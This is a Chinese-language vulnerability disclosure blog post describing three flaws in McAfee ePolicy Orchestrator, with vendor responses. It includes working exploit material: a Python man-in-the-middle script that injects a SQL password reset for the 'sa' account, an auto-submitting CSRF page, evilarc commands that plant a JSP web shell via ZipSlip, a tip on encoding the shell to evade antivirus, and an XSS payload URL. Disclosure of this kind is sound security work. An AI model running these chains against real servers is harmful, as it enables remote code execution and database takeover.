前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >McAfee ePolicy Orchestrator 中的漏洞

McAfee ePolicy Orchestrator 中的漏洞

原创
作者头像
Khan安全团队
发布2022-01-04 11:13:34
8890
发布2022-01-04 11:13:34
举报
文章被收录于专栏:Khan安全团队

McAfee ePO 是一款软件,可帮助 IT 管理员统一跨端点、网络、数据和来自 McAfee 和第三方解决方案的合规性解决方案的安全管理。McAfee ePO 提供灵活的自动化管理功能,用于识别、处理和响应安全问题和威胁。

McAfee ePO 的登录页面

我的测试发现了三个漏洞:

  • CSRF + SSRF + MITM 链,如果被成功利用,允许未登录的攻击者在服务器上执行远程代码
  • 作为 ZipSlip 攻击的结果,登录用户远程执行代码
  • 反射型 XSS

CSRF + SSRF + MITM = 命令执行

该应用程序包含一个区域,管理员可以在其中验证数据库的可用性,该数据库随后可用作主要数据存储。

“配置数据库设置”部分

必须发送以下请求以测试连接:

代码语言:javascript
复制
POST /core/config HTTP/1.1
Host: epo.test:8443
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 279
Cookie: <cookies>

userAction=test&ajaxMode=nouser&orion.user.security.token=gYyieMaq4W1jNkhK&orion.user.security.token=gYyieMaq4W1jNkhK&db.server.name=127.0.0.1&db.instance.name=&db.port=50781&db.database.name=ePO_TEST&db.param.ssl=request&db.user.name=n1&db.user.domain=TEST

该请求不包含任何针对 CSRF 攻击的保护措施。到目前为止,我们有一个漏洞,但它不会影响安全性,因为该请求仅测试连接并且不保存任何流氓设置。

但请注意与数据库的测试连接是如何建立的。如果请求只指定了连接主机和端口,应用程序将使用当前配置(包括用户名、密码和数据库名称)来建立到指定服务器的连接。

为了演示这一点并查看数据库连接请求中包含的内容,我编写了一个简单的 Python 脚本。它将所有传入请求转发到另一个主机(实际的 ePO 数据库)并将请求打印到屏幕上。

通过 MiTM 服务器的数据

事实证明,在我的例子中,易受攻击的服务器通过 NTLMSSP 对数据库进行身份验证,然后执行多个 SQL 查询以从中获取信息。

为了利用该漏洞,我们需要修改发送到数据库的查询。这就是为什么在我们的 MiTM 脚本中,我们将字符串“ ”替换为“ ”。如果成功,测试与数据库的连接将导致为用户“SA”设置密码“P@ssw0rd”。SET TRANSACTION ISOLATION LEVEL READ COMMITTEDALTER LOGIN [sa] WITH PASSWORD='P@ssw0rd';;;;

代码语言:javascript
复制
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

IP = "0.0.0.0" # IP and port of MiTM server
PORT = 1436
EPO_IP = "1.1.1.1"

print("[+] Starting MiTM server on port: {}".format(str(PORT)))

server_address = (IP, PORT)
sock.bind(server_address)
sock.listen(1)

server_address2 = (EPO_IP, 50781) # IP and PORT of ePO MSSQL database
sock2.connect(server_address2)

while True:
    connection, client_address = sock.accept()
    try:
        while True:
            data = connection.recv(4096)
            find = "S\x00E\x00T\x00 \x00T\x00R\x00A\x00N\x00S\x00A\x00C\x00T\x00I\x00O\x00N\x00 \x00I\x00S\x00O\x00L\x00A\x00T\x00I\x00O\x00N\x00 \x00L\x00E\x00V\x00E\x00L\x00 \x00R\x00E\x00A\x00D\x00 \x00C\x00O\x00M\x00M\x00I\x00T\x00T\x00E\x00D"
            if find in data:
                print("[+] Found string in request")
                replace = "A\x00L\x00T\x00E\x00R\x00 \x00L\x00O\x00G\x00I\x00N\x00 \x00[\x00s\x00a\x00]\x00 \x00W\x00I\x00T\x00H\x00 \x00P\x00A\x00S\x00S\x00W\x00O\x00R\x00D\x00=\x00'\x00P\x00@\x00s\x00s\x00w\x000\x00r\x00d\x00'\x00;\x00;\x00;\x00;\x00;"
                data = data.replace(find, replace)
            sock2.sendall(data)
            resp = sock2.recv(4096)
            connection.sendall(resp)
    finally:
        connection.close()

现在要利用整个 CSRF + SSRF + MITM 链,我们只需要创建一个 HTML 页面。

代码语言:javascript
复制
<html>
  <body onload="document.getElementById('poc_form').submit()">
    <form action="https://epo.test:8443/core/config" method="POST" id="poc_form">
      <input type="hidden" name="userAction" value="test" />
      <input type="hidden" name="ajaxMode" value="nouser" />
      <input type="hidden" name="db&#46;server&#46;name" value="<MITM_host>" />
      <input type="hidden" name="db&#46;instance&#46;name" value="" />
      <input type="hidden" name="db&#46;port" value="<MITM_port>" />
    </form>
  </body>
</html>

让我们将漏洞付诸行动。运行 MITM 脚本,在 ePolicy Orchestrator 管理面板中输入凭据,然后打开我们制作的 HTML 页面。如果一切都正确完成,我们可以使用凭据连接到数据库SA:P@ssw0rd。结果如下:

使用 xp_cmdshell 过程执行 OS 命令

成功连接到数据库后,我们可以运行任意系统命令。

总结起来,攻击包括五个部分:

  1. 管理员打开恶意 HTML 页面。
  2. 模拟管理员的 POST 请求被发送到 /core/config,这会导致目标服务器连接到 MITM 服务器。
  3. MITM 服务器将所有流量代理到 SQL 服务器(它应该可以从外部访问)并注入一个 SQL 查询来更改用户 SA 的密码。
  4. 攻击者使用 SA 用户名和新设置的密码连接到 SQL 服务器。
  5. 攻击者现在可以运行任意服务器命令。

供应商回应: “McAfee 已经查看了代码库,我们相信这个问题已在 2019 年 11 月 12 日发布的累积更新 (CU) 5 中得到解决。”

经认证的命令执行

我在软件扩展组件 (/core/orionNavigationLogin.do#/core/orionTab.do?sectionId=orion.software&tabId=orion.extensions) 中发现了下一个漏洞,只有经过身份验证的用户才能访问该漏洞。

“软件扩展”部分

此页面提示上传扩展名,该扩展名应该是 ZIP 格式的文件。我不知道应用程序将档案识别为真正的扩展所需的档案结构,因此此时我没有尝试上传任何恶意扩展。但是当我在测试过程中遇到存档上传功能时,我总是会检查 ZipSlip 漏洞。

ZipSlip 漏洞是一种路径遍历,如果打包文件的名称未正确清理,则在解压缩档案时会发生这种情况。攻击者可以使用../名称中包含“ ”的文件创建档案,从而可以在档案提取期间将任意文件上传到任意目录或覆盖现有文件。

为了检查这种漏洞,我们将使用evilarc生成一个包含文件../test.txt.

代码语言:javascript
复制
python evilarc.py -d 1 -p '' -o win -f test.zip test.txt

创建恶意 zip 文件

然后将生成的 ZIP 存档作为扩展上传并尝试在文件系统中找到它。

提取文件的位置

我们可以看到测试文件位于文件夹中D:\Program Files\McAfee\Server\extensions\tmp\。Web 服务器的根文件夹是D:\Program Files\McAfee\Server\webapps\ROOT,所以现在我们知道生成包含 Web shell (stat.jsp) 的存档所需的相对路径,该存档将通过 ZipSlip 解压缩到服务器的 Web 根文件夹:

代码语言:javascript
复制
python evilarc.py -d 3 -p 'webapps\ROOT\' -o win -f PoC.zip stat.jsp

使用 web shell 创建恶意 zip 文件

上传 JSP shell 时,我们使用 Unicode 对其进行编码,以便 Windows Defender 不会将其删除。

现在只需上传 PoC.zip 作为扩展并检查正在运行的 web shell。

执行“dir”命令

结果是我们可以运行任意操作系统命令。

供应商回应: “我们认为这不是 RCE,因为 ePO 用户界面中的管理员可以为其产品安装扩展。McAfee 目前认为,当 ePO 管理员安装扩展程序时,您描述的场景会按预期工作。”

反射型 XSS

对于漏洞利用,只需转到地址/PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E,作为概念证明,您将看到一个包含 document.domain 值的弹出窗口。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CSRF + SSRF + MITM = 命令执行
  • 经认证的命令执行
  • 反射型 XSS
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档